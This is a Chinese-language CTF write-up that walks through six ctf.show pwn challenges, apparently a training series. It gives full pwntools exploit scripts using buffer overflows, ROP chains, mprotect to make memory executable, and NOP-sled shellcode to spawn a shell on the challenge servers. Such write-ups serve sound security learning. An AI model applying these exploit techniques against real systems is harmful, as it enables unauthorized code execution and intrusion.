1-pwn43
ida打开文件后发现有明显的溢出点
有systeam函数可以使用,但是没用/bin/sh,尝试使用libc无法成功
gdb vmmap可以查看到程序有一段可写的部分,可以使用这一部分去写入/bin/sh
使用objdump -d -j .plt pwn命令可以查看到程序的函数plt地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import * context(log_level='debug' ,arch='i386' ,os='linux' ) ming=1 if ming: p=remote('pwn.challenge.ctf.show' ,28282 ) else : p=process("pwn" ) main_add=0x080487AF system=0x8048450 binsh=0x804c000 -16 puts=0x08048420 payload=b'a' *(0x6C +4 )+p32(puts)+p32(system)+p32(binsh)+p32(binsh) p.sendline(payload) p.sendline(b'/bin/sh' ) p.interactive()
2-pwn44 与上一题类似,但是为64位,在exp的构造上有一些区别
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import * context(log_level='debug' ,arch='amd64' ,os='linux' ) ming=1 if ming: p=remote('pwn.challenge.ctf.show' ,28109 ) else : p=process("pwn" ) ret=0x4004fe rdi=0x4007f3 gets=0x400530 system=0x400520 binsh=0x603000 -16 payload=b'a' *(0xA +8 ) payload+=p64(rdi) payload+=p64(binsh) payload+=p64(ret) payload+=p64(gets) payload+=p64(rdi) payload+=p64(binsh) payload+=p64(ret) payload+=p64(system) p.sendline(payload) p.sendline(b'/bin/sh' ) p.interactive()
3-pwn49
程序为静态库编译,无法使用libc去解
根据题目提示,可以使用mprotect函数去修改权限从而直接提权
‘
虽然程序开了nx,但是执行栈外的shellcode即可
所以目前的解题思路:使用mprotect函数修改一段内存地址为可执行,在使用read函数在修改后的地址写入shellcode在调用
mprotect函数需要三个参数,所以我们需要找一个pop三次且有ret的gadget
:::info 0x08056194 : pop eax ; pop edx ; pop ebx ; ret
:::
我们还需要去找到mprotect函数的初始地址
使用disass mprotect去查找
0x0806cdd0 <+0>: push ebx
0x080488c3 <+30>: call 0x806bee0
找到read函数的地址
第一个参数,我们要修改权限的内存空间起始地址
使用 readelf -S pwn可以查看所有节头信息,我们使用got表的起始地址
[19] .got.plt PROGBITS 080da000 091000 000044 04 WA 0 0 4
第二个参数是修改的大小我们可以设为1000
第三个参数是设置的权限7代表可读可写可执行
第一部分exp为修改对应地址的权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 got_add=0x080da000 mprotect_add=0x0806cdd0 read_add=0x806BEE0 pop3_ret=0x08056194 main=0x8048A19 payload=b'a' *(0x12 +4 ) payload+=p32(mprotect_add) payload+=p32(pop3_ret) payload+=p32(got_add) payload+=p32(0x1000 ) payload+=p32(7 ) payload+=p32(main) p.sendline(payload)
第二段再发送read函数输入shellcode内容进入修改权限的地址区域并调用
1 2 3 4 5 6 7 8 9 10 11 12 shellcode=asm(shellcraft.sh()) payload=b'a' *(0x12 +4 ) payload+=p32(read_add) payload+=p32(got_add) payload+=p32(0x0 ) payload+=p32(got_add) payload+=p32(1000 ) p.sendline(payload) p.sendline(shellcode) p.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import * context(log_level='debug' ,arch='i386' ,os='linux' ) ming=1 if ming: p=remote('pwn.challenge.ctf.show' ,28263 ) else : p=process("pwn" ) got_add=0x080da000 mprotect_add=0x0806cdd0 read_add=0x806BEE0 pop3_ret=0x08056194 main=0x8048A19 payload=b'a' *(0x12 +4 ) payload+=p32(mprotect_add) payload+=p32(pop3_ret) payload+=p32(got_add) payload+=p32(0x1000 ) payload+=p32(0x7 ) payload+=p32(main) p.sendline(payload) shellcode=asm(shellcraft.sh()) payload=b'a' *(0x12 +4 ) payload+=p32(read_add) payload+=p32(got_add) payload+=p32(0x0 ) payload+=p32(got_add) payload+=p32(1000 ) p.sendline(payload) p.sendline(shellcode) p.interactive()
4-pwn51
c++代码,具体意思是将I转换为IronMan再赋值个s,输入点只能输入0x20个大小
s为0x6c转换10进制为108再+4覆盖栈底为112,除以7得16只需要输入16个I即可进行栈溢出,剩余16的大小
程序也有后门函数,足够溢出的大小
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * context(log_level='debug' ,arch='i386' ,os='linux' ) ming=1 if ming: p=remote('pwn.challenge.ctf.show' ,28129 ) else : p=process("pwn" ) br=0x804902E payload=b'I' *16 +p32(br) p.sendlineafter(b'are you?\n' ,payload) p.interactive()
5-pwn66
shellcode,buf被修改权限为7
需要返回1才可以执行shellcode
if判断到\x00会停止,且\x00的字节也要符合unk_400F20数据中的值
使用脚本第一个字节为\x00的指令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *from itertools import *import refor i in range (1 ,3 ): for j in product([p8(k) for k in range (256 )],repeat=i): payload=b'\x00' +b"" .join(j) p=disasm(payload) if ( p !=" ..." and not re.search(r"\[\w*?\]" ,p) and ".byte" not in p): print (p)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * context(log_level='debug' ,arch='amd64' ,os='linux' ) ming=1 if ming: p=remote('pwn.challenge.ctf.show' ,28227 ) else : p=process("pwn" ) payload=b'\x00\xc0' +asm(shellcraft.sh()) p.sendline(payload) p.interactive()
6-pwn67
程序18行是输入shellcode,20行是输入执行的shellcode的地址
但是我们目前不知道seed的地址信息
query_position函数给出了v1的大概地址(因为加上了v2这个垃圾值所以只能是大概值)
因为v1是局部变量所以是在栈上的,通过计算得知v1到seed的距离是0x29
seed的大小是0x1000=4096
query_position函数返回值最坏的情况是v2=668
设x为rand%1336的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * context(log_level='debug' ,arch='i386' ,os='linux' ) ming=1 if ming: p=remote('pwn.challenge.ctf.show' ,28270 ) else : p=process("pwn" ) p.recvuntil(b'The current location: ' ) add=eval (p.recvuntil("\n" ,drop=True )) print (b'add=' ,hex (add))payload=b'\x90' *1336 +asm(shellcraft.sh()) p.sendlineafter(b'> ' ,payload) payload=add+0x29 +668 p.sendlineafter(b'> ' ,hex (add+0x29 +668 )) p.interactive()
其中虽然payload=add+0x29+668并不是seed的准确地址位置,但是可以使用nop无操作符号填充进去,这样就算不是准确的地址也可以调用到nop操作符一直到shellcode的内容去执行